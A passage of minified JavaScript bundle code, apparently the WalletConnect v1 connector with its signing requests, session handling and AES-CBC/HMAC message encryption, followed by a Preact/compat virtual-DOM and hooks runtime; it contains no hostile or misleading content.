Error(i.ERROR_SESSION_DISCONNECTED);const t=e,n=this._formatRequest({method:"eth_signTransaction",params:[t]});return await this._sendCallRequest(n)}async signMessage(e){if(!this._connected)throw new Error(i.ERROR_SESSION_DISCONNECTED);const t=this._formatRequest({method:"eth_sign",params:e});return await this._sendCallRequest(t)}async signPersonalMessage(e){if(!this._connected)throw new Error(i.ERROR_SESSION_DISCONNECTED);const t=this._formatRequest({method:"personal_sign",params:e});return await this._sendCallRequest(t)}async signTypedData(e){if(!this._connected)throw new Error(i.ERROR_SESSION_DISCONNECTED);const t=this._formatRequest({method:"eth_signTypedData",params:e});return await this._sendCallRequest(t)}async updateChain(e){if(!this._connected)throw new Error("Session currently disconnected");const t=this._formatRequest({method:"wallet_updateChain",params:[e]});return await this._sendCallRequest(t)}unsafeSend(e,t){return this._sendRequest(e,t),this._eventManager.trigger({event:"call_request_sent",params:[{request:e,options:t}]}),new Promise(((t,n)=>{this._subscribeToResponse(e.id,((e,r)=>{if(e)n(e);else{if(!r)throw new Error(i.ERROR_MISSING_JSON_RPC);t(r)}}))}))}async sendCustomRequest(e,t){if(!this._connected)throw new Error(i.ERROR_SESSION_DISCONNECTED);switch(e.method){case"eth_accounts":return this.accounts;case"eth_chainId":return Object(o.convertNumberToHex)(this.chainId);case"eth_sendTransaction":case"eth_signTransaction":case"personal_sign":e.params}const n=this._formatRequest(e);return await this._sendCallRequest(n,t)}approveRequest(e){if(!Object(o.isJsonRpcResponseSuccess)(e))throw new Error(i.ERROR_MISSING_RESULT);{const t=this._formatResponse(e);this._sendResponse(t)}}rejectRequest(e){if(!Object(o.isJsonRpcResponseError)(e))throw new Error(i.ERROR_MISSING_ERROR);{const t=this._formatResponse(e);this._sendResponse(t)}}transportClose(){this._transport.close()}async _sendRequest(e,t){const n=this._formatRequest(e),r=await this._encrypt(n),i=void 0!==(null==t?void 0:t.topic)?t.topic:this.peerId,s=JSON.stringify(r),a=void 0!==(null==t?void 0:t.forcePushNotification)?!t.forcePushNotification:Object(o.isSilentPayload)(n);this._transport.send(s,i,a)}async _sendResponse(e){const t=await this._encrypt(e),n=this.peerId,r=JSON.stringify(t);this._transport.send(r,n,!0)}async _sendSessionRequest(e,t,n){this._sendRequest(e,n),this._subscribeToSessionResponse(e.id,t)}_sendCallRequest(e,t){return this._sendRequest(e,t),this._eventManager.trigger({event:"call_request_sent",params:[{request:e,options:t}]}),this._subscribeToCallResponse(e.id)}_formatRequest(e){if(void 0===e.method)throw new Error(i.ERROR_MISSING_METHOD);return{id:void 0===e.id?Object(o.payloadId)():e.id,jsonrpc:"2.0",method:e.method,params:void 0===e.params?[]:e.params}}_formatResponse(e){if(void 0===e.id)throw new Error(i.ERROR_MISSING_ID);const t={id:e.id,jsonrpc:"2.0"};if(Object(o.isJsonRpcResponseError)(e)){const n=Object(o.formatRpcError)(e.error);return Object.assign(Object.assign(Object.assign({},t),e),{error:n})}if(Object(o.isJsonRpcResponseSuccess)(e))return Object.assign(Object.assign({},t),e);throw new Error(i.ERROR_INVALID_RESPONSE)}_handleSessionDisconnect(e){const t=e||"Session Disconnected";this._connected||(this._qrcodeModal&&this._qrcodeModal.close(),Object(o.removeLocal)(i.MOBILE_LINK_CHOICE_KEY)),this._connected&&(this._connected=!1),this._handshakeId&&(this._handshakeId=0),this._handshakeTopic&&(this._handshakeTopic=""),this._peerId&&(this._peerId=""),this._eventManager.trigger({event:"disconnect",params:[{message:t}]}),this._removeStorageSession(),this.transportClose()}_handleSessionResponse(e,t){t&&t.approved?(this._connected?(t.chainId&&(this.chainId=t.chainId),t.accounts&&(this.accounts=t.accounts),this._eventManager.trigger({event:"session_update",params:[{chainId:this.chainId,accounts:this.accounts}]})):(this._connected=!0,t.chainId&&(this.chainId=t.chainId),t.accounts&&(this.accounts=t.accounts),t.peerId&&!this.peerId&&(this.peerId=t.peerId),t.peerMeta&&!this.peerMeta&&(this.peerMeta=t.peerMeta),this._eventManager.trigger({event:"connect",params:[{peerId:this.peerId,peerMeta:this.peerMeta,chainId:this.chainId,accounts:this.accounts}]})),this._manageStorageSession()):this._handleSessionDisconnect(e)}async _handleIncomingMessages(e){if(![this.clientId,this.handshakeTopic].includes(e.topic))return;let t;try{t=JSON.parse(e.payload)}catch(e){return}const n=await this._decrypt(t);n&&this._eventManager.trigger(n)}_subscribeToSessionRequest(){this._transport.subscribe(this.handshakeTopic)}_subscribeToResponse(e,t){this.on("response:"+e,t)}_subscribeToSessionResponse(e,t){this._subscribeToResponse(e,((e,n)=>{e?this._handleSessionResponse(e.message):Object(o.isJsonRpcResponseSuccess)(n)?this._handleSessionResponse(t,n.result):n.error&&n.error.message?this._handleSessionResponse(n.error.message):this._handleSessionResponse(t)}))}_subscribeToCallResponse(e){return new Promise(((t,n)=>{this._subscribeToResponse(e,((e,r)=>{e?n(e):Object(o.isJsonRpcResponseSuccess)(r)?t(r.result):r.error&&r.error.message?n(r.error):n(new Error(i.ERROR_INVALID_RESPONSE))}))}))}_subscribeToInternalEvents(){this.on("display_uri",(()=>{this._qrcodeModal&&this._qrcodeModal.open(this.uri,(()=>{this._eventManager.trigger({event:"modal_closed",params:[]})}),this._qrcodeModalOptions)})),this.on("connect",(()=>{this._qrcodeModal&&this._qrcodeModal.close()})),this.on("call_request_sent",((e,t)=>{const{request:n}=t.params[0];if(Object(o.isMobile)()&&this._signingMethods.includes(n.method)){const e=Object(o.getLocal)(i.MOBILE_LINK_CHOICE_KEY);e&&(window.location.href=e.href)}})),this.on("wc_sessionRequest",((e,t)=>{e&&this._eventManager.trigger({event:"error",params:[{code:"SESSION_REQUEST_ERROR",message:e.toString()}]}),this.handshakeId=t.id,this.peerId=t.params[0].peerId,this.peerMeta=t.params[0].peerMeta;const n=Object.assign(Object.assign({},t),{method:"session_request"});this._eventManager.trigger(n)})),this.on("wc_sessionUpdate",((e,t)=>{e&&this._handleSessionResponse(e.message),this._handleSessionResponse("Session disconnected",t.params[0])}))}_initTransport(){this._transport.on("message",(e=>this._handleIncomingMessages(e))),this._transport.on("open",(()=>this._eventManager.trigger({event:"transport_open",params:[]}))),this._transport.on("close",(()=>this._eventManager.trigger({event:"transport_close",params:[]}))),this._transport.on("error",(()=>this._eventManager.trigger({event:"transport_error",params:["Websocket connection failed"]}))),this._transport.open()}_formatUri(){return`${this.protocol}:${this.handshakeTopic}@${this.version}?bridge=${encodeURIComponent(this.bridge)}&key=${this.key}`}_parseUri(e){const t=Object(o.parseWalletConnectUri)(e);if(t.protocol===this.protocol){if(!t.handshakeTopic)throw Error("Invalid or missing handshakeTopic parameter value");const e=t.handshakeTopic;if(!t.bridge)throw Error("Invalid or missing bridge url parameter value");const n=decodeURIComponent(t.bridge);if(!t.key)throw Error("Invalid or missing key parameter value");return{handshakeTopic:e,bridge:n,key:t.key}}throw new Error(i.ERROR_INVALID_URI)}async _generateKey(){return this._cryptoLib?await this._cryptoLib.generateKey():null}async _encrypt(e){const t=this._key;return this._cryptoLib&&t?await this._cryptoLib.encrypt(e,t):null}async _decrypt(e){const t=this._key;return this._cryptoLib&&t?await this._cryptoLib.decrypt(e,t):null}_getStorageSession(){let e=null;return this._sessionStorage&&(e=this._sessionStorage.getSession()),e}_setStorageSession(){this._sessionStorage&&this._sessionStorage.setSession(this.session)}_removeStorageSession(){this._sessionStorage&&this._sessionStorage.removeSession()}_manageStorageSession(){this._connected?this._setStorageSession():this._removeStorageSession()}_registerPushServer(e){if(!e.url||"string"!=typeof e.url)throw Error("Invalid or missing pushServerOpts.url parameter value");if(!e.type||"string"!=typeof e.type)throw Error("Invalid or missing pushServerOpts.type parameter value");if(!e.token||"string"!=typeof e.token)throw Error("Invalid or missing pushServerOpts.token parameter value");const t={bridge:this.bridge,topic:this.clientId,type:e.type,token:e.token,peerName:"",language:e.language||""};this.on("connect",(async(n,r)=>{if(n)throw n;if(e.peerMeta){const e=r.params[0].peerMeta.name;t.peerName=e}try{const n=await fetch(e.url+"/new",{method:"POST",headers:{Accept:"application/json","Content-Type":"application/json"},body:JSON.stringify(t)});if(!(await n.json()).success)throw Error("Failed to register in Push Server")}catch(n){throw Error("Failed to register in Push Server")}}))}},h=n(14),d=n(0);async function p(e){const t=(e||256)/8,n=h.randomBytes(t);return Object(o.convertBufferToArrayBuffer)(d.b(n))}async function g(e,t){const n=d.n(e.data),r=d.n(e.iv),i=d.n(e.hmac),o=d.c(i,!1),s=d.j(n,r),a=await h.hmacSha256Sign(t,s),u=d.c(a,!1);return d.A(o)===d.A(u)}async function y(e,t,n){const r=d.f(Object(o.convertArrayBufferToBuffer)(t)),i=n||await p(128),s=d.f(Object(o.convertArrayBufferToBuffer)(i)),a=d.c(s,!1),u=JSON.stringify(e),c=d.C(u),l=await h.aesCbcEncrypt(s,r,c),f=d.c(l,!1),g=d.j(l,s),y=await h.hmacSha256Sign(r,g);return{data:f,hmac:d.c(y,!1),iv:a}}async function v(e,t){const n=d.f(Object(o.convertArrayBufferToBuffer)(t));if(!n)throw new Error("Missing key: required for decryption");if(!await g(e,n))return null;const r=d.n(e.data),i=d.n(e.iv),s=await h.aesCbcDecrypt(i,n,r),a=d.e(s);let u;try{u=JSON.parse(a)}catch(e){return null}return u}t.default=class extends f{constructor(e,t){super({cryptoLib:r,connectorOpts:e,pushServerOpts:t})}}},function(e,t,n){n.r(t),n.d(t,"Component",(function(){return O})),n.d(t,"Fragment",(function(){return _})),n.d(t,"createContext",(function(){return V})),n.d(t,"createElement",(function(){return y})),n.d(t,"createRef",(function(){return m})),n.d(t,"useCallback",(function(){return fe})),n.d(t,"useContext",(function(){return he})),n.d(t,"useDebugValue",(function(){return de})),n.d(t,"useEffect",(function(){return se})),n.d(t,"useErrorBoundary",(function(){return pe})),n.d(t,"useId",(function(){return ge})),n.d(t,"useImperativeHandle",(function(){return ce})),n.d(t,"useLayoutEffect",(function(){return ae})),n.d(t,"useMemo",(function(){return le})),n.d(t,"useReducer",(function(){return oe})),n.d(t,"useRef",(function(){return ue})),n.d(t,"useState",(function(){return ie})),n.d(t,"Children",(function(){return Ne})),n.d(t,"PureComponent",(function(){return Ie})),n.d(t,"StrictMode",(function(){return ht})),n.d(t,"Suspense",(function(){return Le})),n.d(t,"SuspenseList",(function(){return De})),n.d(t,"__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED",(function(){return rt})),n.d(t,"cloneElement",(function(){return at})),n.d(t,"createFactory",(function(){return ot})),n.d(t,"createPortal",(function(){return He})),n.d(t,"default",(function(){return mt})),n.d(t,"findDOMNode",(function(){return ct})),n.d(t,"flushSync",(function(){return ft})),n.d(t,"forwardRef",(function(){return Pe})),n.d(t,"hydrate",(function(){return Ge})),n.d(t,"isValidElement",(function(){return st})),n.d(t,"lazy",(function(){return Ue})),n.d(t,"memo",(function(){return Re})),n.d(t,"render",(function(){return Ke})),n.d(t,"startTransition",(function(){return dt})),n.d(t,"unmountComponentAtNode",(function(){return ut})),n.d(t,"unstable_batchedUpdates",(function(){return lt})),n.d(t,"useDeferredValue",(function(){return pt})),n.d(t,"useInsertionEffect",(function(){return yt})),n.d(t,"useSyncExternalStore",(function(){return vt})),n.d(t,"useTransition",(function(){return gt})),n.d(t,"version",(function(){return it}));var r,i,o,s,a,u,c,l,f={},h=[],d=/acit|ex(?:s|g|n|p|$)|rph|grid|ows|mnc|ntw|ine[ch]|zoo|^ord|itera/i;function p(e,t){for(var n in t)e[n]=t[n];return e}function g(e){var t=e.parentNode;t&&t.removeChild(e)}function y(e,t,n){var i,o,s,a={};for(s in t)"key"==s?i=t[s]:"ref"==s?o=t[s]:a[s]=t[s];if(arguments.length>2&&(a.children=arguments.length>3?r.call(arguments,2):n),"function"==typeof e&&null!=e.defaultProps)for(s in e.defaultProps)void 0===a[s]&&(a[s]=e.defaultProps[s]);return v(e,a,i,o,null)}function v(e,t,n,r,s){var a={type:e,props:t,key:n,ref:r,__k:null,__:null,__b:0,__e:null,__d:void 0,__c:null,__h:null,constructor:void 0,__v:null==s?++o:s};return null==s&&null!=i.vnode&&i.vnode(a),a}function m(){return{current:null}}function _(e){return e.children}function b(e,t,n){"-"===t[0]?e.setProperty(t,null==n?"":n):e[t]=null==n?"":"number"!=typeof n||d.test(t)?n:n+"px"}function w(e,t,n,r,i){var o;e:if("style"===t)if("string"==typeof n)e.style.cssText=n;else{if("string"==typeof r&&(e.style.cssText=r=""),r)for(t in r)n&&t in n||b(e.style,t,"");if(n)for(t in n)r&&n[t]===r[t]||b(e.style,t,n[t])}else if("o"===t[0]&&"n"===t[1])o=t!==(t=t.replace(/Capture$/,"")),t=t.toLowerCase()in e?t.toLowerCase().slice(2):t.slice(2),e.l||(e.l={}),e.l[t+o]=n,n?r||e.addEventListener(t,o?S:E,o):e.removeEventListener(t,o?S:E,o);else if("dangerouslySetInnerHTML"!==t){if(i)t=t.replace(/xlink(H|:h)/,"h").replace(/sName$/,"s");else if("href"!==t&&"list"!==t&&"form"!==t&&"tabIndex"!==t&&"download"!==t&&t in e)try{e[t]=null==n?"":n;break e}catch(e){}"function"==typeof n||(null==n||!1===n&&-1==t.indexOf("-")?e.removeAttribute(t):e.setAttribute(t,n))}}function E(e){s=!0;try{return this.l[e.type+!1](i.event?i.event(e):e)}finally{s=!1}}function S(e){s=!0;try{return this.l[e.type+!0](i.event?i.event(e):e)}finally{s=!1}}function O(e,t){this.props=e,this.context=t}function x(e,t){if(null==t)return e.__?x(e.__,e.__.__k.indexOf(e)+1):null;for(var n;t<e.__k.length;t++)if(null!=(n=e.__k[t])&&null!=n.__e)return n.__e;return"function"==typeof e.type?x(e):null}function I(e){var t,n;if(null!=(e=e.__)&&null!=e.__c){for(e.__e=e.__c.base=null,t=0;t<e.__k.length;t++)if(null!=(n=e.__k[t])&&null!=n.__e){e.__e=e.__c.base=n.__e;break}return I(e)}}function R(e){s?setTimeout(e):c(e)}function k(e){(!e.__d&&(e.__d=!0)&&a.push(e)&&!C.__r++||u!==i.debounceRendering)&&((u=i.debounceRendering)||R)(C)}function C(){var e,t,n,r,i,o,s,u;for(a.sort((function(e,t){return e.__v.__b-t.__v.__b}));e=a.shift();)e.__d&&(t=a.length,r=void 0,i=void 0,s=(o=(n=e).__v).__e,(u=n.__P)&&(r=[],(i=p({},o)).__v=o.__v+1,L(u,o,i,n.__n,void 0!==u.ownerSVGElement,null!=o.__h?[s]:null,r,null==s?x(o):s,o.__h),j(r,o),o.__e!=s&&I(o)),a.length>t&&a.sort((function(e,t){return e.__v.__b-t.__v.__b})));C.__r=0}function P(e,t,n,r,i,o,s,a,u,c){var l,d,p,g,y,m,b,w=r&&r.__k||h,E=w.length;for(n.__k=[],l=0;l<t.length;l++)if(null!=(g=n.__k[l]=null==(g=t[l])||"boolean"==typeof g?null:"string"==typeof g||"number"==typeof g||"bigint"==typeof g?v(null,g,null,null,g):Array.isArray(g)?v(_,{children:g},null,null,null):g.__b>0?v(g.type,g.props,g.key,g.ref?g.ref:null,g.__v):g)){if(g.__=n,g.__b=n.__b+1,null===(p=w[l])||p&&g.key==p.key&&g.type===p.type)w[l]=void 0;else for(d=0;d<E;d++){if((p=w[d])&&g.key==p.key&&g.type===p.type){w[d]=void 0;break}p=null}L(e,g,p=p||f,i,o,s,a,u,c),y=g.__e,(d=g.ref)&&p.ref!=d&&(b||(b=[]),p.ref&&b.push(p.ref,null,g),b.push(d,g.__c||y,g)),null!=y?(null==m&&(m=y),"function"==typeof g.type&&g.__k===p.__k?g.__d=u=A(g,u,e):u=T(e,g,p,w,y,u),"function"==typeof n.type&&(n.__d=u)):u&&p.__e==u&&u.parentNode!=e&&(u=x(p))}for(n.__e=m,l=E;l--;)null!=w[l]&&("function"==typeof n.type&&null!=w[l].__e&&w[l].__e==n.__d&&(n.__d=M(r).nextSibling),z(w[l],w[l]));if(b)for(l=0;l<b.length;l++)D(b[l],b[++l],b[++l])}function A(e,t,n){for(var r,i=e.__k,o=0;i&&o<i.length;o++)(r=i[o])&&(r.__=e,t="function"==typeof r.type?A(r,t,n):T(n,r,r,i,r.__e,t));return t}function N(e,t){return t=t||[],null==e||"boolean"==typeof e||(Array.isArray(e)?e.some((function(e){N(e,t)})):t.push(e)),t}function T(e,t,n,r,i,o){var s,a,u;if(void 0!==t.__d)s=t.__d,t.__d=void 0;else if(null==n||i!=o||null==i.parentNode)e:if(null==o||o.parentNode!==e)e.appendChild(i),s=null;else{for(a=o,u=0;(a=a.nextSibling)&&u<r.length;u+=1)if(a==i)break e;e.insertBefore(i,o),s=o}return void 0!==s?s:i.nextSibling}function M(e){var t,n,r;if(null==e.type||"string"==typeof e.type)return e.__e;if(e.__k)for(t=e.__k.length-1;t>=0;t--)if((n=e.__k[t])&&(r=M(n)))return r;return null}function L(e,t,n,r,o,s,a,u,c){var l,f,h,d,g,y,v,m,b,w,E,S,x,I,R,k=t.type;if(void 0!==t.constructor)return null;null!=n.__h&&(c=n.__h,u=t.__e=n.__e,t.__h=null,s=[u]),(l=i.__b)&&l(t);try{e:if("function"==typeof k){if(m=t.props,b=(l=k.contextType)&&r[l.__c],w=l?b?b.props.value:l.__:r,n.__c?v=(f=t.__c=n.__c).__=f.__E:("prototype"in k&&k.prototype.render?t.__c=f=new k(m,w):(t.__c=f=new O(m,w),f.constructor=k,f.render=F),b&&b.sub(f),f.props=m,f.state||(f.state={}),f.context=w,f.__n=r,h=f.__d=!0,f.__h=[],f._sb=[]),null==f.__s&&(f.__s=f.state),null!=k.getDerivedStateFromProps&&(f.__s==f.state&&(f.__s=p({},f.__s)),p(f.__s,k.getDerivedStateFromProps(m,f.__s))),d=f.props,g=f.state,f.__v=t,h)null==k.getDerivedStateFromProps&&null!=f.componentWillMount&&f.componentWillMount(),null!=f.componentDidMount&&f.__h.push(f.componentDidMount);else{if(null==k.getDerivedStateFromProps&&m!==d&&null!=f.componentWillReceiveProps&&f.componentWillReceiveProps(m,w),!f.__e&&null!=f.shouldComponentUpdate&&!1===f.shouldComponentUpdate(m,f.__s,w)||t.__v===n.__v){for(t.__v!==n.__v&&(f.props=m,f.state=f.__s,f.__d=!1),t.__e=n.__e,t.__k=n.__k,t.__k.forEach((function(e){e&&(e.__=t)})),E=0;E<f._sb.length;E++)f.__h.push(f._sb[E]);f._sb=[],f.__h.length&&a.push(f);break e}null!=f.componentWillUpdate&&f.componentWillUpdate(m,f.__s,w),null!=f.componentDidUpdate&&f.__h.push((function(){f.componentDidUpdate(d,g,y)}))}if(f.context=w,f.props=m,f.__P=e,S=i.__r,x=0,"prototype"in k&&k.prototype.render){for(f.state=f.__s,f.__d=!1,S&&S(t),l=f.render(f.props,f.state,f.context),I=0;I<f._sb.length;I++)f.__h.push(f._sb[I]);f._sb=[]}else do{f.__d=!1,S&&S(t),l=f.render(f.props,f.state,f.context),f.state=f.__s}while(f.__d&&++x<25);f.state=f.__s,null!=f.getChildContext&&(r=p(p({},r),f.getChildContext())),h||null==f.getSnapshotBeforeUpdate||(y=f.getSnapshotBeforeUpdate(d,g)),R=null!=l&&l.type===_&&null==l.key?l.props.children:l,P(e,Array.isArray(R)?R:[R],t,n,r,o,s,a,u,c),f.base=t.__e,t.__h=null,f.__h.length&&a.push(f),v&&(f.__E=f.__=null),f.__e=!1}else null==s&&t.__v===n.__v?(t.__k=n.__k,t.__e=n.__e):t.__e=U(n.__e,t,n,r,o,s,a,c);(l=i.diffed)&&l(t)}catch(e){t.__v=null,(c||null!=s)&&(t.__e=u,t.__h=!!c,s[s.indexOf(u)]=null),i.__e(e,t,n)}}function j(e,t){i.__c&&i.__c(t,e),e.some((function(t){try{e=t.__h,t.__h=[],e.some((function(e){e.call(t)}))}catch(e){i.__e(e,t.__v)}}))}function U(e,t,n,i,o,s,a,u){var c,l,h,d=n.props,p=t.props,y=t.type,v=0;if("svg"===y&&(o=!0),null!=s)for(;v<s.length;v++)if((c=s[v])&&"setAttribute"in c==!!y&&(y?c.localName===y:3===c.nodeType)){e=c,s[v]=null;break}if(null==e){if(null===y)return document.createTextNode(p);e=o?document.createElementNS("http://www.w3.org/2000/svg",y):document.createElement(y,p.is&&p),s=null,u=!1}if(null===y)d===p||u&&e.data===p||(e.data=p);else{if(s=s&&r.call(e.childNodes),l=(d=n.props||f).dangerouslySetInnerHTML,h=p.dangerouslySetInnerHTML,!u){if(null!=s)for(d={},v=0;v<e.attributes.length;v++)d[e.attributes[v].name]=e.attributes[v].value;(h||l)&&(h&&(l&&h.__html==l.__html||h.__html===e.innerHTML)||(e.innerHTML=h&&h.__html||""))}if(function(e,t,n,r,i){var o;for(o in n)"children"===o||"key"===o||o in t||w(e,o,null,n[o],r);for(o in t)i&&"function"!=typeof t[o]||"children"===o||"key"===o||"value"===o||"checked"===o||n[o]===t[o]||w(e,o,t[o],n[o],r)}(e,p,d,o,u),h)t.__k=[];else if(v=t.props.children,P(e,Array.isArray(v)?v:[v],t,n,i,o&&"foreignObject"!==y,s,a,s?s[0]:n.__k&&x(n,0),u),null!=s)for(v=s.length;v--;)null!=s[v]&&g(s[v]);u||("value"in p&&void 0!==(v=p.value)&&(v!==e.value||"progress"===y&&!v||"option"===y&&v!==d.value)&&w(e,"value",v,d.value,!1),"checked"in p&&void 0!==(v=p.checked)&&v!==e.checked&&w(e,"checked",v,d.checked,!1))}return e}function D(e,t,n){try{"function"==typeof e?e(t):e.current=t}catch(e){i.__e(e,n)}}function z(e,t,n){var r,o;if(i.unmount&&i.unmount(e),(r=e.ref)&&(r.current&&r.current!==e.__e||D(r,null,t)),null!=(r=e.__c)){if(r.componentWillUnmount)try{r.componentWillUnmount()}catch(e){i.__e(e,t)}r.base=r.__P=null,e.__c=void 0}if(r=e.__k)for(o=0;o<r.length;o++)r[o]&&z(r[o],t,n||"function"!=typeof e.type);n||null==e.__e||g(e.__e),e.__=e.__e=e.__d=void 0}function F(e,t,n){return this.constructor(e,n)}function B(e,t,n){var o,s,a;i.__&&i.__(e,t),s=(o="function"==typeof n)?null:n&&n.__k||t.__k,a=[],L(t,e=(!o&&n||t).__k=y(_,null,[e]),s||f,f,void 0!==t.ownerSVGElement,!o&&n?[n]:s?null:t.firstChild?r.call(t.childNodes):null,a,!o&&n?n:s?s.__e:t.firstChild,o),j(a,e)}function H(e,t){B(e,t,H)}function q(e,t,n){var i,o,s,a=p({},e.props);for(s in t)"key"==s?i=t[s]:"ref"==s?o=t[s]:a[s]=t[s];return arguments.length>2&&(a.children=arguments.length>3?r.call(arguments,2):n),v(e.type,a,i||e.key,o||e.ref,null)}function V(e,t){var n={__c:t="__cC"+l++,__:e,Consumer:function(e,t){return e.children(t)},Provider:function(e){var n,r;return this.getChildContext||(n=[],(r={})[t]=this,this.getChildContext=function(){return r},this.shouldComponentUpdate=function(e){this.props.value!==e.value&&n.some(k)},this.sub=function(e){n.push(e);var t=e.componentWillUnmount;e.componentWillUnmount=function(){n.splice(n.indexOf(e),1),t&&t.call(e)}}),e.children}};return n.Provider.__=n.Consumer.contextType=n}r=h.slice,i={__e:function(e,t,n,r){for(var i,o,s;t=t.__;)if((i=t.__c)&&!i.__)try{if((o=i.constructor)&&null!=o.getDerivedStateFromError&&(i.setState(o.getDerivedStateFromError(e)),s=i.__d),null!=i.componentDidCatch&&(i.componentDidCatch(e,r||{}),s=i.__d),s)return i.__E=i}catch(t){e=t}throw e}},o=0,s=!1,O.prototype.setState=function(e,t){var n;n=null!=this.__s&&this.__s!==this.state?this.__s:this.__s=p({},this.state),"function"==typeof e&&(e=e(p({},n),this.props)),e&&p(n,e),null!=e&&this.__v&&(t&&this._sb.push(t),k(this))},O.prototype.forceUpdate=function(e){this.__v&&(this.__e=!0,e&&this.__h.push(e),k(this))},O.prototype.render=_,a=[],c="function"==typeof Promise?Promise.prototype.then.bind(Promise.resolve()):setTimeout,C.__r=0,l=0;var $,W,K,G,Y=0,Q=[],J=[],X=i.__b,Z=i.__r,ee=i.diffed,te=i.__c,ne=i.unmount;function re(e,t){i.__h&&i.__h(W,e,Y||t),Y=0;var n=W.__H||(W.__H={__:[],__h:[]});return e>=n.__.length&&n.__.push({__V:J}),n.__[e]}function ie(e){return Y=1,oe(Ee,e)}function oe(e,t,n){var r=re($++,2);if(r.t=e,!r.__c&&(r.__=[n?n(t):Ee(void 0,t),function(e){var t=r.__N?r.__N[0]:r.__[0],n=r.t(t,e);t!==n&&(r.__N=[n,r.__[1]],r.__c.setState({}))}],r.__c=W,!W.u)){W.u=!0;var i=W.shouldComponentUpdate;W.shouldComponentUpdate=function(e,t,n){if(!r.__c.__H)return!0;var o=r.__c.__H.__.filter((function(e){return e.__c}));if(o.every((function(e){return!e.__N})))return!i||i.call(this,e,t,n);var s=!1;return o.forEach((function(e){if(e.__N){var t=e.__[0];e.__=e.__N,e.__N=void 0,t!==e.__[0]&&(s=!0)}})),!(!s&&r.__c.props===e)&&(!i||i.call(this,e,t,n))}}return r.__N||r.__}function se(e,t){var n=re($++,3);!i.__s&&we(n.__H,t)&&(n.__=e,n.i=t,W.__H.__h.push(n))}function ae(e,t){var n=re($++,4);!i.__s&&we(n.__H,t)&&(n.__=e,n.i=t,W.__h.push(n))}function ue(e){return Y=5,le((function(){return{current:e}}),[])}function ce(e,t,n){Y=6,ae((function(){return"function"==typeof e?(e(t()),function(){return e(null)}):e?(e.current=t(),function(){return e.current=null}):void 0}),null==n?n:n.concat(e))}function le(e,t){var n=re($++,7);return we(n.__H,t)?(n.__V=e(),n.i=t,n.__h=e,n.__V):n.__}function fe(e,t){return Y=8,le((function(){return e}),t)}function he(e){var t=W.context[e.__c],n=re($++,9);return n.c=e,t?(null==n.__&&(n.__=!0,t.sub(W)),t.props.value):e.__}function de(e,t){i.useDebugValue&&i.useDebugValue(t?t(e):e)}function pe(e){var t=re($++,10),n=ie();return t.__=e,W.componentDidCatch||(W.componentDidCatch=function(e,r){t.__&&t.__(e,r),n[1](e)}),[n[0],function(){n[1](void 0)}]}function ge(){var e=re($++,11);if(!e.__){for(var t=W.__v;null!==t&&!t.__m&&null!==t.__;)t=t.__;var n=t.__m||(t.__m=[0,0]);e.__="P"+n[0]+"-"+n[1]++}return e.__}function ye(){for(var e;e=Q.shift();)if(e.__P&&e.__H)try{e.__H.__h.forEach(_e),e.__H.__h.forEach(be),e.__H.__h=[]}catch(t){e.__H.__h=[],i.__e(t,e.__v)}}i.__b=function(e){W=null,X&&X(e)},i.__r=function(e){Z&&Z(e),$=0;var t=(W=e.__c).__H;t&&(K===W?(t.__h=[],W.__h=[],t.__.forEach((function(e){e.__N&&(e.__=e.__N),e.__V=J,e.__N=e.i=void 0}))):(t.__h.forEach(_e),t.__h.forEach(be),t.__h=[])),K=W},i.diffed=function(e){ee&&ee(e);var t=e.__c;t&&t.__H&&(t.__H.__h.length&&(1!==Q.push(t)&&G===i.requestAnimationFrame||((G=i.requestAnimationFrame)||me)(ye)),t.__H.__.forEach((function(e){e.i&&(e.__H=e.i),e.__V!==J&&(e.__=e.__V),e.i=void 0,e.__V=J}))),K=W=null},i.__c=function(e,t){t.some((function(e){try{e.__h.forEach(_e),e.__h=e.__h.filter((function(e){return!e.__||be(e)}))}catch(n){t.some((function(e){e.__h&&(e.__h=[])})),t=[],i.__e(n,e.__v)}})),te&&te(e,t)},i.unmount=function(e){ne&&ne(e);var t,n=e.__c;n&&n.__H&&(n.__H.__.forEach((function(e){try{_e(e)}catch(e){t=e}})),n.__H=void 0,t&&i.__e(t,n.__v))};var ve="function"==typeof requestAnimationFrame;function me(e){var t,n=function(){clearTimeout(r),ve&&cancelAnimationFrame(t),setTimeout(e)},r=setTimeout(n,100);ve&&(t=requestAnimationFrame(n))}function _e(e){var t=W,n=e.__c;"function"==typeof n&&(e.__c=void 0,n()),W=t}function be(e){var t=W;e.__c=e.__(),W=t}function we(e,t){return!e||e.length!==t.length||t.some((function(t,n){return t!==e[n]}))}function Ee(e,t){return"function"==typeof t?t(e):t}function Se(e,t){for(var n in t)e[n]=t[n];return e}function Oe(e,t){for(var n in e)if("__source"!==n&&!(n in t))return!0;for(var r in t)if("__source"!==r&&e[r]!==t[r])return!0;return!1}function xe(e,t){return e===t&&(0!==e||1/e==1/t)||e!=e&&t!=t}function Ie(e){this.props=e}function Re(e,t){function n(e){var n=this.props.ref,r=n==e.ref;return!r&&n&&(n.call?n(null):n.current=null),t?!t(this.props,e)||!r:Oe(this.props,e)}function r(t){return this.shouldComponentUpdate=n,y(e,t)}return r.displayName="Memo("+(e.displayName||e.name)+")",r.prototype.isReactComponent=!0,r.__f=!0,r}(Ie.prototype=new O).isPureReactComponent=!0,Ie.prototype.shouldComponentUpdate=function(e,t){return Oe(this.props,e)||Oe(this.state,t)};var ke=i.__b;i.__b=function(e){e.type&&e.type.__f&&e.ref&&(e.props.ref=e.ref,e.ref=null),ke&&ke(e)};var Ce="undefined"!=typeof Symbol&&Symbol.for&&Symbol.for("react.forward_ref")||3911;function Pe(e){function t(t){var n=Se({},t);return delete n.ref,e(n,t.ref||null)}return t.$$typeof=Ce,t.render=t,t.prototype.isReactComponent=t.__f=!0,t.displayName="ForwardRef("+(e.displayName||e.name)+")",t}var Ae=function(e,t){return null==e?null:N(N(e).map(t))},Ne={map:Ae,forEach:Ae,count:function(e){return e?N(e).length:0},only:function(e){var t=N(e);if(1!==t.length)throw"Children.only";return t[0]},toArray:N},Te=i.__e;i.__e=function(e,t,n,r){if(e.then)for(var i,o=t;o=o.__;)if((i=o.__c)&&i.__c)return null==t.__e&&(t.__e=n.__e,t.__k=n.__k),i.__c(e,t);Te(e,t,n,r)};var Me=i.unmount;function Le(){this.__u=0,this.t=null,this.__b=null}function je(e){var t=e.__.__c;return t&&t.__a&&t.__a(e)}function Ue(e){var t,n,r;function i(i){if(t||(t=e()).then((function(e){n=e.default||e}),(function(e){r=e})),r)throw r;if(!n)throw t;return 